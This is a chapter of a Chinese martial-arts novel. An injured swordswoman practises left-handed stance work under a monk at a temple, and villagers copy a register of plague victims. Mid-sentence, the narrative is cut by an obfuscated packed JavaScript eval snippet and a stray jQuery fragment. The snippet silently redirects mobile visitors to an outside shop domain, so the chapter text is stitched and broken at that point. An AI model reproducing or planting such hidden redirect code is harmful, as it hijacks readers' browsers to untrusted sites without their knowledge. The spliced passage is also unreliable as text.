雨停在后半夜。
无灯寺的天井积了半池浑水，瓦沟仍在断断续续地滴。清晨的雾从后山漫进来，淹到廊柱半腰，昨夜散落的香灰被水压成一层薄黑的泥。众人踩着木板来回搬药，鞋底带起一道道污痕，又很快被新落的檐水冲淡。
曹有德没有逃。
他把寺田契、历年租簿和那串铜钥匙一并放在正殿门槛上，自己坐在两步之外。石门村的木匠守着他，却没有捆人。严婆抱着弟弟的木牌，隔一阵便看他一眼，目光里仍有恨，也有十二年熬得太久以后留下的疲倦。
周迟替江照夜重新固定右腕时，指尖压得毫不客气。
“昨夜再偏半寸，你这只手三个月都握不了剑。”周迟说道。
“我已经偏了。”江照夜回答。
“所以我说的是再偏半寸。”周迟把夹板打了个结，“做对一件事，不妨碍你为做错的部分付药钱。”
江照夜低头看见她在药账后添了两行：银针三枚，续骨膏半盒。字写得窄而直，没有因她斩了夜叉便少记一文。
辰时将过，她才去后山。
无灯寺后有一片荒废药圃。旧篱笆倒在荆棘里，紫苏和半夏无人照料，反倒长得泼辣。石阶被青苔吃去棱角，每走一步，湿气便从草叶间抖落，沾湿裤脚。
明寂坐在一株老银杏下。
树还未到黄叶时节，枝头却垂着许多褪色布条，像旧年疫民留下的祈愿。僧人把昨夜拾回的死亡名录摊在石案上，以细竹片一页页分开晾晒。晨光穿过叶隙，落在他袖口，随着风缓慢移动。
江照夜走近，他没有抬头。
“迟了两刻。”明寂说道。
“你没有约时辰。”江照夜回答。
“贫僧以为习剑之人会赶在日出以前。”明寂说道。
“从前会。”江照夜把铁剑放到石案旁，“如今走得慢。”
明寂这才看她一眼，目光落在新换的腕部夹板上：“知道走得慢，仍肯来，便不算迟。”
他起身，在湿土上捡了七枚银杏果，隔半尺摆成一线。
“拔剑。”明寂说道。
江照夜没有动：“周迟刚说这只手三日不能用力。”
“那便不用右手。”明寂回答。
她以左手拔出无名铁剑。三斤二两对右手算轻，对不惯持剑的左臂却有些坠。剑尖刚抬平，肩膀便下意识耸起。
明寂用药杖轻点她左肩：“落下。”
江照夜沉肩。
“不是肩。”明寂说道，“是你想立刻做对的那口气。”
江照夜皱眉：“气如何落？”
“先不刺。”明寂回答，“站七息。”
山风经过银杏树冠，布条彼此摩擦。第一息里，江照夜只觉得左腕发酸；第二息，右腿开始颤；第三息，她注意到剑尖正一点点偏离银杏果；第四息，昨夜夜叉的哭声从记忆里冒出来；第五息，她想证明自己不会再失控，左手因此握得更紧；第六息，那念头又生出烦躁；到第七息，她终于看见烦躁下面藏着一点惧意。
她怕下一次仍分不清自己的剑。
七息结束，剑尖已经下坠三寸。
“看见什么？”明寂问道。
“左手无力。”江照夜回答。
“还有呢？”明寂问道。
江照夜沉默片刻：“我想让你觉得我学得快。”
明寂神色未变：“为何？”
“不知道。”江照夜回答。
“不知道便先记着。”明寂说道，“观心不是每一念都要当场审出根由。你只需知道它来过，出剑时便少一个冒名顶替的人。”
他说完，让她把剑放下，改用一截枯枝。枯枝前端没有重量，也伤不了人。江照夜左手直刺，第一下过快，鞋底在湿泥上滑了半寸。
明寂没有扶她，只将药杖横在她可能摔倒的位置。
“重来。”明寂说道。
第二次，她先看地面。泥下有横生树根，左足若踩在根侧，可以借到一分反力。她仍然记得从桃溪一路走来，何处该与身体争，何处不必争。枯枝向前送出时，力从足底升起，抵达腰间便因右侧伤处断了一截。
“你在避痛。”明寂说道。
“不避会更痛。”江照夜回答。
“避痛无错。”明寂说道，“可你让左腰替右腰多走了半步。久而久之，左边也会坏。”
他让她停下，把七枚银杏果改摆成弧。每一枚代表身体的一处：足、膝、胯、腰、肩、肘、腕。江照夜每动一处，便用剑尖点过一枚果子。过去练剑讲求浑然一体，如今明寂偏要她把动作拆碎，承认每一处力量来自哪里，又在哪一处丢失。
半个时辰后，她额上全是冷汗，枯枝却只刺出十二次。
“这算佛门剑法？”江照夜问道。
“不算。”明寂回答，“寺里劈柴的沙弥也这样学用力。”
“你昨日说重新学握剑，我以为会有高深观法。”江照夜说道。
“若高深二字能让你的左肩落下，贫僧可以多说几遍。”明寂说道。
他的语气太平，江照夜过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929936|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了两息才听出一点不明显的揶揄。她抬头时，正看见风吹落一片银杏叶，停在他僧帽边缘。明寂没有察觉，仍在低头调整果子的位置。
那一点青绿衬得他眉眼越发清净。
江照夜本想提醒，却忽然忘了下一句。明寂抬眼看她，她才伸手指了指自己的鬓边。
“叶子。”江照夜说道。
明寂取下银杏叶，夹进死亡名录尚未干透的一页：“多谢。”
不过是两个字，他说得也不比旁的话更温和。江照夜却听见自己方才平稳下来的心跳错了一拍。
她把这点异样记下，没有急着替它取名。
观心不要求把一切欲念赶出去。
至少明寂教的不是。
日上树梢时，山下传来人声。县衙听说夜叉已散，派了两名书吏来收名册。曹有德也在催众人下山，说愿意当面交代寺田。
明寂合拢晒干的纸页，却没有递给书吏。
“县里十二年前烧过一次名册。”明寂说道，“这一次，不能只留一份。”
江照夜望向山道。雾已经散开，无灯县的屋舍从远处露出青黑屋脊，河水横在城外，像一面没有擦净的旧镜。
“抄几份？”江照夜问道。
“看有多少人愿意记。”明寂回答。
那天上午，无灯寺的七名药队、十三名村民和两名书吏各领了一叠纸。有人识字，有人不识。识字的负责誊写，不识字的核对乳名、村落和亲属。严婆坐在正中间，念一个，停一会儿，像把沉在水底十二年的石头逐个捞上岸。
念到“郑兰”时，唐婶忽然放下笔。她年轻时曾在山外渡口见过一个卖花样子的姑娘，对方说自己要回无灯县探母，此后再无音信。严婆核过木牌，确认郑兰正是疫期第九日入寺的人。唐婶不敢断言两人必是同一个，只在名字旁添上一句“或曾于白水渡卖绣样，待查”。名字回来以后，并不立刻拥有圆满生平；有些只能先留下一点可能，让后来认得她的人还能接着写。
阿石抄错了三次“龚”字，索性画下死者木牌上的缺角。年轻书吏本想说图画不能入册，明寂却让他保留。严婆说那位龚婆婆不识字，活着时便用缺角木片认自己的药碗。若只留下一个写得端正的姓，反倒未必是她。
江照夜没有再握剑。
她用左手研墨，右手放在膝上，听那些名字一个个恢复不同的声音。七息一过，她仍会想起明寂站在银杏树下的模样。她没有驱赶那幅画面，只在心里承认：这一念是她的，与夜叉无关，也不必借任何人的名义。